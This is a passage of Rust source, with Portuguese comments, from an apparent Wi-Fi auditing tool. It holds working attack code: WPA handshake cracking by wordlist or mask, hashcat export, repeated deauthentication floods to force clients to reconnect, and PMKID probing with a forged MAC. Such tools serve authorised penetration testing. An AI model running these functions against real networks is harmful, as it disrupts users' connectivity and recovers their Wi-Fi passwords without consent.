hashes: lines.len(),
|
|
handshakes: 1,
|
|
})
|
|
}
|
|
|
|
pub fn export_all_hc22000(&self, name: &str, out: impl AsRef<Path>) -> Result<HashcatReport> {
|
|
let entries = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.lock().unwrap();
|
|
table.handshake_entries()
|
|
};
|
|
let lines = crate::hashcat::export(entries.iter());
|
|
if lines.is_empty() {
|
|
return Err(SabiaError::InvalidInput(
|
|
"nenhum handshake com material para .hc22000".into(),
|
|
));
|
|
}
|
|
let path = out.as_ref();
|
|
std::fs::write(path, format!("{}\n", lines.join("\n")))?;
|
|
self.log(
|
|
"export_hc22000_all",
|
|
name,
|
|
serde_json::json!({ "path": path, "hashes": lines.len() }),
|
|
);
|
|
Ok(HashcatReport {
|
|
path: path.display().to_string(),
|
|
hashes: lines.len(),
|
|
handshakes: entries.len(),
|
|
})
|
|
}
|
|
|
|
pub fn start_crack(
|
|
&self,
|
|
name: &str,
|
|
bssid: Option<&str>,
|
|
station: Option<&str>,
|
|
wordlist: impl AsRef<Path>,
|
|
apply_rules: bool,
|
|
) -> Result<String> {
|
|
self.start_crack_inner(
|
|
name,
|
|
bssid,
|
|
station,
|
|
Some(wordlist.as_ref().to_path_buf()),
|
|
apply_rules,
|
|
)
|
|
}
|
|
|
|
/// Quebra com o dicionário embutido (9,7 milhões de senhas reais,
|
|
/// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo.
|
|
/// É o padrão do botão “Quebrar senha”.
|
|
pub fn start_crack_default(
|
|
&self,
|
|
name: &str,
|
|
bssid: Option<&str>,
|
|
station: Option<&str>,
|
|
apply_rules: bool,
|
|
) -> Result<String> {
|
|
self.start_crack_inner(name, bssid, station, None, apply_rules)
|
|
}
|
|
|
|
fn start_crack_inner(
|
|
&self,
|
|
name: &str,
|
|
bssid: Option<&str>,
|
|
station: Option<&str>,
|
|
wordlist: Option<PathBuf>,
|
|
apply_rules: bool,
|
|
) -> Result<String> {
|
|
if let Some(wordlist) = &wordlist {
|
|
if !wordlist.is_file() {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"dicionário não encontrado: {}",
|
|
wordlist.display()
|
|
)));
|
|
}
|
|
}
|
|
let table = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?
|
|
};
|
|
let hs = {
|
|
let table = table.lock().unwrap();
|
|
match (bssid, station) {
|
|
(Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(),
|
|
(Some(b), None) => table.first_crackable(Some(b), None).cloned(),
|
|
(None, Some(s)) => table.first_crackable(None, Some(s)).cloned(),
|
|
(None, None) => table.first_crackable(None, None).cloned(),
|
|
}
|
|
}
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into())
|
|
})?;
|
|
|
|
let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1);
|
|
let job = Arc::new(Mutex::new(CrackJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
bssid: Some(hs.bssid.clone()),
|
|
station: Some(hs.station.clone()),
|
|
status: "running".into(),
|
|
tried: 0,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
report: None,
|
|
error: None,
|
|
}));
|
|
self.jobs.lock().unwrap().insert(id.clone(), job.clone());
|
|
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
let iface_name = name.to_string();
|
|
let job_thread = job.clone();
|
|
let hs_bssid = hs.bssid.clone();
|
|
let hs_station = hs.station.clone();
|
|
let wordlist_label = wordlist
|
|
.as_ref()
|
|
.map(|p| p.display().to_string())
|
|
.unwrap_or_else(|| "dicionário embutido (9,7 milhões de senhas)".into());
|
|
let thread_wordlist = wordlist;
|
|
let thread_bssid = hs_bssid.clone();
|
|
let thread_station = hs_station.clone();
|
|
|
|
std::thread::spawn(move || {
|
|
let progress_job = job_thread.clone();
|
|
let mut progress = move |tried| {
|
|
if let Ok(mut j) = progress_job.lock() {
|
|
j.tried = tried;
|
|
}
|
|
};
|
|
let result = match &thread_wordlist {
|
|
Some(path) => crack::crack_handshake(&hs, path, apply_rules, &mut progress),
|
|
None => crack::crack_handshake_default(&hs, apply_rules, &mut progress),
|
|
};
|
|
let mut guard = job_thread.lock().unwrap();
|
|
guard.finished_unix = Some(unix_now());
|
|
match result {
|
|
Ok(report) => {
|
|
guard.status = "done".into();
|
|
guard.tried = report.tried;
|
|
if let Some(password) = report.password.as_deref() {
|
|
table.lock().unwrap().set_password(
|
|
&thread_bssid,
|
|
&thread_station,
|
|
password,
|
|
);
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"crack_success",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"bssid": thread_bssid,
|
|
"station": thread_station,
|
|
"tried": report.tried,
|
|
"elapsed_ms": report.elapsed_ms,
|
|
}),
|
|
);
|
|
}
|
|
guard.report = Some(report);
|
|
}
|
|
Err(e) => {
|
|
guard.status = "error".into();
|
|
guard.error = Some(e.to_string());
|
|
}
|
|
}
|
|
});
|
|
|
|
self.log(
|
|
"crack_start",
|
|
name,
|
|
serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "wordlist": wordlist_label }),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
/// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem
|
|
/// dicionário. `max_candidates` é um limite de segurança — máscaras
|
|
/// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a
|
|
/// máquina por dias; recusa de cara em vez de deixar o job rodar pra
|
|
/// sempre sem avisar.
|
|
pub fn start_crack_mask(
|
|
&self,
|
|
name: &str,
|
|
bssid: Option<&str>,
|
|
station: Option<&str>,
|
|
mask: &str,
|
|
max_candidates: u64,
|
|
) -> Result<String> {
|
|
let mask = crate::rules::Mask::parse(mask).map_err(SabiaError::InvalidInput)?;
|
|
let total = mask.total().ok_or_else(|| {
|
|
SabiaError::InvalidInput("máscara grande demais pra calcular o total".into())
|
|
})?;
|
|
if total > max_candidates {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"máscara tem {total} combinações, acima do limite de {max_candidates} — \
|
|
restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar"
|
|
)));
|
|
}
|
|
|
|
let table = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?
|
|
};
|
|
let hs = {
|
|
let table = table.lock().unwrap();
|
|
match (bssid, station) {
|
|
(Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(),
|
|
(Some(b), None) => table.first_crackable(Some(b), None).cloned(),
|
|
(None, Some(s)) => table.first_crackable(None, Some(s)).cloned(),
|
|
(None, None) => table.first_crackable(None, None).cloned(),
|
|
}
|
|
}
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into())
|
|
})?;
|
|
|
|
let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1);
|
|
let job = Arc::new(Mutex::new(CrackJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
bssid: Some(hs.bssid.clone()),
|
|
station: Some(hs.station.clone()),
|
|
status: "running".into(),
|
|
tried: 0,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
report: None,
|
|
error: None,
|
|
}));
|
|
self.jobs.lock().unwrap().insert(id.clone(), job.clone());
|
|
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
let iface_name = name.to_string();
|
|
let job_thread = job.clone();
|
|
let hs_bssid = hs.bssid.clone();
|
|
let hs_station = hs.station.clone();
|
|
let thread_bssid = hs_bssid.clone();
|
|
let thread_station = hs_station.clone();
|
|
|
|
std::thread::spawn(move || {
|
|
let progress_job = job_thread.clone();
|
|
let mut progress = move |tried| {
|
|
if let Ok(mut j) = progress_job.lock() {
|
|
j.tried = tried;
|
|
}
|
|
};
|
|
let result = crack::crack_handshake_mask(&hs, &mask, &mut progress);
|
|
let mut guard = job_thread.lock().unwrap();
|
|
guard.finished_unix = Some(unix_now());
|
|
match result {
|
|
Ok(report) => {
|
|
guard.status = "done".into();
|
|
guard.tried = report.tried;
|
|
if let Some(password) = report.password.as_deref() {
|
|
table.lock().unwrap().set_password(
|
|
&thread_bssid,
|
|
&thread_station,
|
|
password,
|
|
);
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"crack_success",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"bssid": thread_bssid,
|
|
"station": thread_station,
|
|
"tried": report.tried,
|
|
"elapsed_ms": report.elapsed_ms,
|
|
}),
|
|
);
|
|
}
|
|
guard.report = Some(report);
|
|
}
|
|
Err(e) => {
|
|
guard.status = "error".into();
|
|
guard.error = Some(e.to_string());
|
|
}
|
|
}
|
|
});
|
|
|
|
self.log(
|
|
"crack_start",
|
|
name,
|
|
serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "mask": true, "total": total }),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
pub fn crack_job(&self, id: &str) -> Option<CrackJobInfo> {
|
|
self.jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.map(|j| j.lock().unwrap().clone())
|
|
}
|
|
|
|
pub fn crack_jobs(&self) -> Vec<CrackJobInfo> {
|
|
let jobs = self.jobs.lock().unwrap();
|
|
let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect();
|
|
out.sort_by(|a, b| {
|
|
b.started_unix
|
|
.cmp(&a.started_unix)
|
|
.then_with(|| a.id.cmp(&b.id))
|
|
});
|
|
out
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
pub fn deauth(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: Option<&str>,
|
|
count: u32,
|
|
reason: u16,
|
|
) -> Result<DeauthReport> {
|
|
self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth")
|
|
}
|
|
|
|
/// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`.
|
|
/// `frame_kind`: `deauth` ou `disassoc`.
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn deauth_directional(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: Option<&str>,
|
|
count: u32,
|
|
reason: u16,
|
|
direction: &str,
|
|
frame_kind: &str,
|
|
) -> Result<DeauthReport> {
|
|
use crate::inject::{self, RawInjector};
|
|
|
|
if !(1..=256).contains(&count) {
|
|
return Err(SabiaError::InvalidInput(
|
|
"quantidade de quadros deve ficar entre 1 e 256".into(),
|
|
));
|
|
}
|
|
if !matches!(direction, "ap" | "sta" | "both") {
|
|
return Err(SabiaError::InvalidInput(
|
|
"direção inválida: use ap, sta ou both".into(),
|
|
));
|
|
}
|
|
if !matches!(frame_kind, "deauth" | "disassoc") {
|
|
return Err(SabiaError::InvalidInput(
|
|
"quadro inválido: use deauth ou disassoc".into(),
|
|
));
|
|
}
|
|
if direction != "ap" && station.is_none() {
|
|
return Err(SabiaError::InvalidInput(
|
|
"direção sta/both exige a estação alvo".into(),
|
|
));
|
|
}
|
|
let info = iface::get(name)?;
|
|
if info.mode == Mode::Managed {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{name} está em modo managed; ative o modo monitor antes de injetar"
|
|
)));
|
|
}
|
|
let ap = parse_mac(bssid)?;
|
|
let sta = station.map(parse_mac).transpose()?;
|
|
let dest = sta.unwrap_or(inject::BROADCAST);
|
|
let reason = inject::Reason::from_u16(reason);
|
|
|
|
let build = |transmitter: [u8; 6], destination: [u8; 6]| {
|
|
if frame_kind == "disassoc" {
|
|
inject::disassoc_frame_from(transmitter, ap, destination, reason)
|
|
} else {
|
|
inject::deauth_frame_from(transmitter, ap, destination, reason)
|
|
}
|
|
};
|
|
let frames: Vec<Vec<u8>> = match direction {
|
|
"ap" => vec![build(ap, dest)],
|
|
"sta" => vec![build(dest, ap)],
|
|
_ => vec![build(ap, dest), build(dest, ap)],
|
|
};
|
|
let injector = RawInjector::open(name)?;
|
|
|
|
let mut frames_sent = 0usize;
|
|
let mut seq: u16 = 0;
|
|
for _ in 0..count {
|
|
for frame in &frames {
|
|
let mut frame = frame.clone();
|
|
seq = seq.wrapping_add(1);
|
|
inject::set_seq(&mut frame, seq);
|
|
injector.send(&frame)?;
|
|
frames_sent += 1;
|
|
}
|
|
std::thread::sleep(Duration::from_millis(10));
|
|
}
|
|
|
|
let report = DeauthReport {
|
|
iface: name.to_string(),
|
|
bssid: bssid.to_string(),
|
|
station: station.unwrap_or("ff:ff:ff:ff:ff:ff").to_string(),
|
|
reason,
|
|
frames_sent,
|
|
direction: direction.to_string(),
|
|
frame_kind: frame_kind.to_string(),
|
|
};
|
|
self.log(
|
|
"deauth",
|
|
name,
|
|
serde_json::json!({
|
|
"bssid": bssid,
|
|
"station": report.station,
|
|
"reason": reason,
|
|
"frames": frames_sent,
|
|
"direction": direction,
|
|
"frame_kind": frame_kind,
|
|
}),
|
|
);
|
|
Ok(report)
|
|
}
|
|
|
|
/// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da
|
|
/// captura é travado no canal do AP enquanto o job roda, senão o salto de
|
|
/// canais faria os quadros saírem na frequência errada e perderia o
|
|
/// handshake. `stop_on_handshake` encerra sozinho quando o par
|
|
/// (BSSID, estação) fica quebrável.
|
|
#[cfg(target_os = "linux")]
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn start_deauth_job(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: Option<&str>,
|
|
reason: u16,
|
|
direction: &str,
|
|
frame_kind: &str,
|
|
interval_ms: u64,
|
|
max_secs: Option<u64>,
|
|
stop_on_handshake: bool,
|
|
) -> Result<String> {
|
|
self.start_deauth_job_burst(
|
|
name,
|
|
bssid,
|
|
station,
|
|
reason,
|
|
direction,
|
|
frame_kind,
|
|
interval_ms,
|
|
max_secs,
|
|
stop_on_handshake,
|
|
1,
|
|
)
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
#[allow(clippy::too_many_arguments)]
|
|
fn start_deauth_job_burst(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: Option<&str>,
|
|
reason: u16,
|
|
direction: &str,
|
|
frame_kind: &str,
|
|
interval_ms: u64,
|
|
max_secs: Option<u64>,
|
|
stop_on_handshake: bool,
|
|
burst: u32,
|
|
) -> Result<String> {
|
|
use crate::inject::{self, RawInjector};
|
|
|
|
if !matches!(direction, "ap" | "sta" | "both") {
|
|
return Err(SabiaError::InvalidInput(
|
|
"direção inválida: use ap, sta ou both".into(),
|
|
));
|
|
}
|
|
if !matches!(frame_kind, "deauth" | "disassoc") {
|
|
return Err(SabiaError::InvalidInput(
|
|
"quadro inválido: use deauth ou disassoc".into(),
|
|
));
|
|
}
|
|
if direction != "ap" && station.is_none() {
|
|
return Err(SabiaError::InvalidInput(
|
|
"direção sta/both exige a estação alvo".into(),
|
|
));
|
|
}
|
|
let info = iface::get(name)?;
|
|
if info.mode == Mode::Managed {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{name} está em modo managed; ative o modo monitor antes de injetar"
|
|
)));
|
|
}
|
|
let ap = parse_mac(bssid)?;
|
|
let sta = station.map(parse_mac).transpose()?;
|
|
let dest = sta.unwrap_or(inject::BROADCAST);
|
|
let reason_enum = inject::Reason::from_u16(reason);
|
|
let interval = Duration::from_millis(interval_ms.clamp(50, 5_000));
|
|
let max_secs = max_secs.map(|s| s.clamp(1, 3_600));
|
|
|
|
let already_running = self.deauth_jobs.lock().unwrap().values().any(|j| {
|
|
let info = j.info.lock().unwrap();
|
|
info.iface == name && info.status == "running"
|
|
});
|
|
if already_running {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"já existe um job de desautenticação em execução em {name}"
|
|
)));
|
|
}
|
|
|
|
let (table, channel, lock_slot) = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!(
|
|
"inicie a captura em {name} antes de iniciar o job"
|
|
))
|
|
})?;
|
|
if !session.running.load(Ordering::SeqCst) {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"a captura em {name} não está ativa"
|
|
)));
|
|
}
|
|
let channel = session
|
|
.table
|
|
.lock()
|
|
.unwrap()
|
|
.access_points()
|
|
.into_iter()
|
|
.find(|a| a.bssid.eq_ignore_ascii_case(bssid))
|
|
.and_then(|a| a.channel)
|
|
.or(*session.channel.lock().unwrap());
|
|
(
|
|
session.table.clone(),
|
|
channel,
|
|
session.locked_channel.clone(),
|
|
)
|
|
};
|
|
if let Some(channel) = channel {
|
|
netlink::set_channel(name, channel)?;
|
|
*lock_slot.lock().unwrap() = Some(channel);
|
|
}
|
|
|
|
let build = |transmitter: [u8; 6], destination: [u8; 6]| {
|
|
if frame_kind == "disassoc" {
|
|
inject::disassoc_frame_from(transmitter, ap, destination, reason_enum)
|
|
} else {
|
|
inject::deauth_frame_from(transmitter, ap, destination, reason_enum)
|
|
}
|
|
};
|
|
let frames: Vec<Vec<u8>> = match direction {
|
|
"ap" => vec![build(ap, dest)],
|
|
"sta" => vec![build(dest, ap)],
|
|
_ => vec![build(ap, dest), build(dest, ap)],
|
|
};
|
|
let injector = RawInjector::open(name)?;
|
|
|
|
let id = format!(
|
|
"deauth-{}",
|
|
self.deauth_seq.fetch_add(1, Ordering::SeqCst) + 1
|
|
);
|
|
let info = Arc::new(Mutex::new(DeauthJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
bssid: bssid.to_string(),
|
|
station: station.map(str::to_string),
|
|
reason,
|
|
direction: direction.to_string(),
|
|
frame_kind: frame_kind.to_string(),
|
|
interval_ms: interval.as_millis() as u64,
|
|
max_secs,
|
|
frames_sent: 0,
|
|
channel,
|
|
stop_on_handshake,
|
|
handshake: false,
|
|
status: "running".into(),
|
|
error: None,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
}));
|
|
let stop = Arc::new(AtomicBool::new(false));
|
|
let thread_info = info.clone();
|
|
let thread_stop = stop.clone();
|
|
let thread_table = table;
|
|
let thread_lock = lock_slot.clone();
|
|
let iface_name = name.to_string();
|
|
let bssid_owned = bssid.to_string();
|
|
let station_owned = station.map(str::to_string);
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
|
|
let burst = burst.max(1);
|
|
let handle = std::thread::spawn(move || {
|
|
let started = Instant::now();
|
|
let mut frames_sent = 0usize;
|
|
let mut seq: u16 = 0;
|
|
let mut error = None;
|
|
let mut handshake = false;
|
|
let handshake_ready = || {
|
|
let table = thread_table.lock().unwrap();
|
|
table.handshakes().iter().any(|h| {
|
|
h.bssid.eq_ignore_ascii_case(&bssid_owned)
|
|
&& h.crackable
|
|
&& match station_owned.as_deref() {
|
|
Some(station) => station.eq_ignore_ascii_case(&h.station),
|
|
None => true,
|
|
}
|
|
})
|
|
};
|
|
while !thread_stop.load(Ordering::SeqCst) {
|
|
if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) {
|
|
break;
|
|
}
|
|
// Confere antes de uma nova rajada para não interromper um
|
|
// handshake que chegou enquanto o job esperava a reassociação.
|
|
if stop_on_handshake && handshake_ready() {
|
|
handshake = true;
|
|
break;
|
|
}
|
|
for round in 0..burst {
|
|
for frame in &frames {
|
|
let mut frame = frame.clone();
|
|
seq = seq.wrapping_add(1);
|
|
inject::set_seq(&mut frame, seq);
|
|
if let Err(e) = injector.send(&frame) {
|
|
error = Some(e.to_string());
|
|
break;
|
|
}
|
|
frames_sent += 1;
|
|
}
|
|
if error.is_some() {
|
|
break;
|
|
}
|
|
if burst > 1 && round + 1 < burst {
|
|
std::thread::sleep(Duration::from_millis(20));
|
|
}
|
|
}
|
|
if let Ok(mut j) = thread_info.lock() {
|
|
j.frames_sent = frames_sent;
|
|
}
|
|
if error.is_some() {
|
|
break;
|
|
}
|
|
if stop_on_handshake && handshake_ready() {
|
|
handshake = true;
|
|
break;
|
|
}
|
|
std::thread::sleep(interval);
|
|
}
|
|
*thread_lock.lock().unwrap() = None;
|
|
let stopped = thread_stop.load(Ordering::SeqCst);
|
|
let mut guard = thread_info.lock().unwrap();
|
|
guard.frames_sent = frames_sent;
|
|
guard.handshake = handshake;
|
|
guard.finished_unix = Some(unix_now());
|
|
guard.status = if error.is_some() {
|
|
"error".into()
|
|
} else if stopped {
|
|
"stopped".into()
|
|
} else {
|
|
"done".into()
|
|
};
|
|
guard.error = error;
|
|
let status = guard.status.clone();
|
|
drop(guard);
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"deauth_job",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"bssid": bssid_owned,
|
|
"station": station_owned,
|
|
"frames": frames_sent,
|
|
"status": status,
|
|
"handshake": handshake,
|
|
}),
|
|
);
|
|
});
|
|
|
|
self.deauth_jobs.lock().unwrap().insert(
|
|
id.clone(),
|
|
DeauthJob {
|
|
info: info.clone(),
|
|
stop,
|
|
handle: Some(handle),
|
|
locked_channel: channel,
|
|
},
|
|
);
|
|
self.log(
|
|
"deauth_start",
|
|
name,
|
|
serde_json::json!({
|
|
"job": id,
|
|
"bssid": bssid,
|
|
"station": station,
|
|
"direction": direction,
|
|
"frame_kind": frame_kind,
|
|
"channel": channel,
|
|
}),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn start_deauth_job(
|
|
&self,
|
|
_name: &str,
|
|
_bssid: &str,
|
|
_station: Option<&str>,
|
|
_reason: u16,
|
|
_direction: &str,
|
|
_frame_kind: &str,
|
|
_interval_ms: u64,
|
|
_max_secs: Option<u64>,
|
|
_stop_on_handshake: bool,
|
|
) -> Result<String> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
pub fn stop_deauth_job(&self, id: &str) -> Result<()> {
|
|
let (stop, handle, info, channel) = {
|
|
let mut jobs = self.deauth_jobs.lock().unwrap();
|
|
let job = jobs
|
|
.get_mut(id)
|
|
.ok_or_else(|| SabiaError::InvalidInput("job de deauth não encontrado".into()))?;
|
|
job.stop.store(true, Ordering::SeqCst);
|
|
(
|
|
job.stop.clone(),
|
|
job.handle.take(),
|
|
job.info.clone(),
|
|
job.locked_channel,
|
|
)
|
|
};
|
|
if let Some(handle) = handle {
|
|
let _ = handle.join();
|
|
}
|
|
let _ = stop;
|
|
let mut guard = info.lock().unwrap();
|
|
if guard.status == "running" {
|
|
guard.status = "stopped".into();
|
|
guard.finished_unix = Some(unix_now());
|
|
}
|
|
let iface = guard.iface.clone();
|
|
drop(guard);
|
|
if channel.is_some() {
|
|
if let Some(session) = self.sessions.lock().unwrap().get(&iface) {
|
|
*session.locked_channel.lock().unwrap() = None;
|
|
}
|
|
}
|
|
Ok(())
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn stop_deauth_job(&self, _id: &str) -> Result<()> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
pub fn deauth_job(&self, id: &str) -> Option<DeauthJobInfo> {
|
|
self.deauth_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.map(|j| j.info.lock().unwrap().clone())
|
|
}
|
|
|
|
pub fn deauth_jobs(&self) -> Vec<DeauthJobInfo> {
|
|
let jobs = self.deauth_jobs.lock().unwrap();
|
|
let mut out: Vec<_> = jobs
|
|
.values()
|
|
.map(|j| j.info.lock().unwrap().clone())
|
|
.collect();
|
|
out.sort_by(|a, b| {
|
|
b.started_unix
|
|
.cmp(&a.started_unix)
|
|
.then_with(|| a.id.cmp(&b.id))
|
|
});
|
|
out
|
|
}
|
|
|
|
fn stop_deauth_for_iface(&self, name: &str) -> Vec<String> {
|
|
let ids: Vec<String> = self
|
|
.deauth_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.iter()
|
|
.filter(|(_, j)| {
|
|
let info = j.info.lock().unwrap();
|
|
info.iface == name && info.status == "running"
|
|
})
|
|
.map(|(id, _)| id.clone())
|
|
.collect();
|
|
for id in &ids {
|
|
let _ = self.stop_deauth_job(id);
|
|
}
|
|
ids
|
|
}
|
|
|
|
/// Atalho para “forçar handshake”: escolhe um cliente associado (quando
|
|
/// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas.
|
|
/// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o
|
|
/// cliente fora do ar e pode impedir a reassociação que produz o EAPOL.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn capture_handshake(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: Option<&str>,
|
|
seconds: Option<u64>,
|
|
) -> Result<String> {
|
|
let station = station
|
|
.map(str::to_string)
|
|
.or_else(|| self.first_associated_station(name, bssid));
|
|
let direction = if station.is_some() { "both" } else { "ap" };
|
|
self.start_deauth_job_burst(
|
|
name,
|
|
bssid,
|
|
station.as_deref(),
|
|
7,
|
|
direction,
|
|
"deauth",
|
|
1_500,
|
|
Some(seconds.unwrap_or(30).clamp(5, 300)),
|
|
true,
|
|
5,
|
|
)
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
fn first_associated_station(&self, name: &str, bssid: &str) -> Option<String> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name)?;
|
|
let table = session.table.lock().unwrap();
|
|
table
|
|
.clients()
|
|
.into_iter()
|
|
.find(|c| {
|
|
c.associated
|
|
&& c.mac != bssid
|
|
&& c.bssid
|
|
.as_deref()
|
|
.is_some_and(|b| b.eq_ignore_ascii_case(bssid))
|
|
})
|
|
.map(|c| c.mac)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn capture_handshake(
|
|
&self,
|
|
_name: &str,
|
|
_bssid: &str,
|
|
_station: Option<&str>,
|
|
_seconds: Option<u64>,
|
|
) -> Result<String> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn deauth(
|
|
&self,
|
|
_name: &str,
|
|
_bssid: &str,
|
|
_station: Option<&str>,
|
|
_count: u32,
|
|
_reason: u16,
|
|
) -> Result<DeauthReport> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
#[allow(clippy::too_many_arguments)]
|
|
pub fn deauth_directional(
|
|
&self,
|
|
_name: &str,
|
|
_bssid: &str,
|
|
_station: Option<&str>,
|
|
_count: u32,
|
|
_reason: u16,
|
|
_direction: &str,
|
|
_frame_kind: &str,
|
|
) -> Result<DeauthReport> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
/// Tenta provocar a mensagem 1 com PMKID: autentica e envia um
|
|
/// association request com RSN/PMKID usando um MAC local forjado. É o
|
|
/// mesmo gatilho do ataque clientless, mas depende do AP — muitos só
|
|
/// incluem PMKID em roaming real.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result<PmkidReport> {
|
|
use crate::inject::{self, RawInjector};
|
|
|
|
let attempts = attempts.clamp(1, 50);
|
|
let info = iface::get(name)?;
|
|
if info.mode == Mode::Managed {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{name} está em modo managed; ative o modo monitor antes do teste PMKID"
|
|
)));
|
|
}
|
|
let running = self
|
|
.sessions
|
|
.lock()
|
|
.unwrap()
|
|
.get(name)
|
|
.is_some_and(|s| s.running.load(Ordering::SeqCst));
|
|
if !running {
|
|
return Err(SabiaError::InvalidInput(
|
|
"inicie a captura nesta interface antes do teste PMKID".into(),
|
|
));
|
|
}
|
|
let ap = self.session_ap(name, bssid)?.ok_or_else(|| {
|
|
SabiaError::InvalidInput("BSSID ainda não visto nesta captura".into())
|
|
})?;
|
|
let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
|
|
SabiaError::InvalidInput("SSID oculto: impossível montar o association request".into())
|
|
})?;
|
|
if let Some(channel) = ap.channel {
|
|
self.lock_channel(name, Some(channel))?;
|
|
}
|
|
let ap_mac = parse_mac(bssid)?;
|
|
let station = probe_station_mac();
|
|
let akms = akms_for(&ap);
|
|
let injector = RawInjector::open(name)?;
|
|
|
|
let mut frames_sent = 0usize;
|
|
for i in 0..attempts {
|
|
let auth = inject::auth_frame(ap_mac, station);
|
|
injector.send(&auth)?;
|
|
frames_sent += 1;
|
|
std::thread::sleep(Duration::from_millis(30));
|
|
let mut pmkid = [0u8; 16];
|
|
pmkid[0] = i as u8 + 1;
|
|
pmkid[15] = 0xa5;
|
|
let assoc = inject::assoc_request_frame(
|
|
ap_mac,
|
|
station,
|
|
&ssid,
|
|
&akms,
|
|
ap.pmf,
|
|
ap.pmf_required,
|
|
pmkid,
|
|
);
|
|
injector.send(&assoc)?;
|
|
frames_sent += 1;
|
|
std::thread::sleep(Duration::from_millis(150));
|
|
}
|
|
